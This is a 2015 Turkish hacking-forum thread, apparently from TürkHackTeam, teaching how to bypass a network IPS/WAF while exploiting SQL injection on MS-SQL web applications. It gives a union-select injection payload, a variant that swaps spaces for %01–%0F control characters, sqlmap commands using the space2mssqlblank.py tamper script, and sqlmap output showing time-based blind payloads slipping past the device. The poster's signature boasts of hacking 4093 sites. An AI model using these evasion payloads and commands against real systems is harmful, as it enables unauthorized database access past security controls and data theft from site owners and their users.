THT DUYURU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

chat
Seçenekler

SQLMap Tamper Script & SQL Injection IPS Geçiş Teknikleri

JohnDoe - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2013
Nereden:
Teşkilat
Yaş:
34
Mesajlar:
2.717
Konular:
572
Teşekkür (Etti):
805
Teşekkür (Aldı):
929
Ticaret:
(0) %
17-09-2015 03:13
#1
SQLMap Tamper Script & SQL Injection IPS Geçiş Teknikleri
Merhabalar,

SQL konusunda bir çok arkadaşımız bilgi sahibi, ancak bilgisi olmayan arkadaşlarımızı'da baz alacak olursak açıkcası % 50 olacak şekilde sabitleyebiliriz. Bu konu üzerinden SQL'de temel mantık dersine giriş yapacağız.

Bu yazı Türkiye'de en fazla tercih edilen Ağ Tabanlı Atak Engelleme Sisteminin koruduğu bir web uygulamasına karşı gerçekleştirilen atlatma senaryosunu içermektedir. Ürün tüm imzaları aktif ve güncel kural veritabanına sahip durumdayken denenmiştir.

Veritabanı olarak olarak MS-SQL server kullanan ve önünde WAF/IPS cihazı bulunan bir web uygulamasındaki sql injection açıklığı, sqlmap tamper script kullanılarak ve güvenlik cihazları atlatılarak istismar edilebilir.

Bir çok WAF/IPS güvenlik cihazının çalışma mantığında belirli kelime öbeklerini girdide bulmak için boşluk karakteri referans alınır. Örneğin union ve select kelimelerini sevmeyen bir IPS cihazı bu kelimeleri girdide ararken bu kelimelerin başında ve sonunda boşluk karakteri arar veya boşluk karakterlerinin önünü ve sonunu okur bu kelimeler ile eşleşme olursa ilgili imza gereğini gerçekleştirir.

Bu mantık ile çalışan bir IPS cihazı kullanıcıdan aldığı aşağıdaki gibi bir girdiyi bloklar;

Alıntı:
admin';union select null,null,ad from users--
Fakat boşluk karakteri yerine rastgele bir ifade(AA) yazarsak aşağıdaki gibi bu sql sorgusu IPS cihazına takılmayacaktır;

Alıntı:
admin;'unionAAselectAAnull,null,adAAfromAAusers--
Not:AA test amaçlı verilmiştir backend dbms üzerinde çalışacak bir ifade degildir. AA yerine backend dbms uygulamasında boşluk için alternatif olacak bir değer girilmelidir.

Şimdi bu durumu veritabanı olarak Mssql server kullanan ve önünde IPS cihazı bulunan bir web uygulamasındaki sql injection açıklığını istismar etmede nasıl kullanılabileceğine değinelim.

Mssql üzerinde boşluk karakterine alternatif olabilecek ifadeleri bir diziye atarak her seferinde bu diziden random bir değeri boşluk ifadelerinin olduğu yerlere yerleştiren ve sorguyu bu şekilde hedefe gönderen space2mssqlblank.py sqlmap tamper scriptini kullanacağız.

Mssql üzerinde boşluk karakterine alternatif olan diğer değerler aşağıdaki gibidir;

Alıntı:
%01, %02, %03, %04, %05, %06, %07, %08, %09, %0A, %0B, %0C, %0D, %0E, %0F
Bu değerler bir dizi içerisinde tutulup her sql sorgusu içerisindeki boşluk değerlerine rastgele olarak atanıp sorgular backend dbms sistemine gönderilir. Bu şekilde aradaki güvenlik cihazları kolaylıkla bypass edilebilmektedir.

IPS sistemi ile korunan bir web uygulamasındaki sql injection açıklığını sqlmap ile istismar ederken ilgili script kullanılmadığındaki durum aşağıdaki gibidir;

Alıntı:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -r bb.txt --dbs --current-user --current-db --keep-alive --dbms "mssql" --technique T -v 3
Kod:
[22:46:16] [INFO] POST parameter 'username' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[22:46:16] [INFO] checking if the injection point on POST parameter 'username' is a false positive
[22:46:16] [PAYLOAD] admin) IF((19+18)=37) WAITFOR DELAY '0:0:5'--
[22:46:46] [PAYLOAD] admin) IF(19=18) WAITFOR DELAY '0:0:5'--
[22:47:18] [PAYLOAD] admin) IF(18>(66+19)) WAITFOR DELAY '0:0:5'--
[22:47:48] [WARNING] false positive or unexploitable injection point detected
[22:47:48] [WARNING] POST parameter 'username' is not injectable
Yukarıdaki gibi boşluk karakterleri olduğu gibi gönderilen sorgular IPS tarafından geçirilmediğinden dolayı sqlmap açıklığı doğrulayamamış yada istismar edilemeyecek bir açıklık olarak değerlendirmiştir.

Şimdi ise boşluk karakterleri yerine MS Sql serverdaki alternatif değerlerini rastgele kullanan tamper scripti sqlmap aracına verip sonucu görelim;

Alıntı:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -r bb.txt --dbs --current-user --current-db --keep-alive --dbms "mssql" --technique T --tamper "space2mssqlblank.py" -v 3 --flush-session
Kod:
[22:58:00] [INFO] POST parameter 'username' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[22:58:00] [INFO] checking if the injection point on POST parameter 'username' is a false positive
[22:58:00] [PAYLOAD] admin'%0FIF((62+76)=138)%0AWAITFOR%05DELAY%0B'0:0:5'--
[22:58:05] [PAYLOAD] admin'%0AIF(62=76)%08WAITFOR%03DELAY%04'0:0:5'--
[22:58:06] [PAYLOAD] admin'%0EIF(62>(63+76))%04WAITFOR%04DELAY%02'0:0:5'--
[22:58:06] [PAYLOAD] admin'%0EIF((63+62)>201)%06WAITFOR%0DDELAY%0C'0:0:5'--
[22:58:07] [PAYLOAD] admin'%0AIF(138=(62+76))%0EWAITFOR%03DELAY%05'0:0:5'--
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
Yukarıdaki gibi hedefe gönderilen payloadlarda, boşluk karakterinin Mssql serverdaki alternatif değerleri random olarak verilerek IPS cihazı atlatılmıştır. Bir çok WAF/IPS imzaları bu mantıkla çalıştığı için belirtilen yöntemle kolaylıkla bypass edilebilirler.
--------------------- " TürkHackTeam "Vatan Operasyonu" 4093 Site Hacked [Şehitler Ölmez Vatan Bölünmez ! "
Türkiye'nin tek milli ve yerli #Hack grubu TürkHackTeam'dır. İçiniz rahat olsun biz buradayız.
NamelessesMan, Myetik Teşekkür etti.
JohnDoe - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2013
Nereden:
Teşkilat
Yaş:
34
Mesajlar:
2.717
Konular:
572
Teşekkür (Etti):
805
Teşekkür (Aldı):
929
Ticaret:
(0) %
17-09-2015 13:32
#2
Teşekkür ederim arkadaşlar.
--------------------- " TürkHackTeam "Vatan Operasyonu" 4093 Site Hacked [Şehitler Ölmez Vatan Bölünmez ! "
Türkiye'nin tek milli ve yerli #Hack grubu TürkHackTeam'dır. İçiniz rahat olsun biz buradayız.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler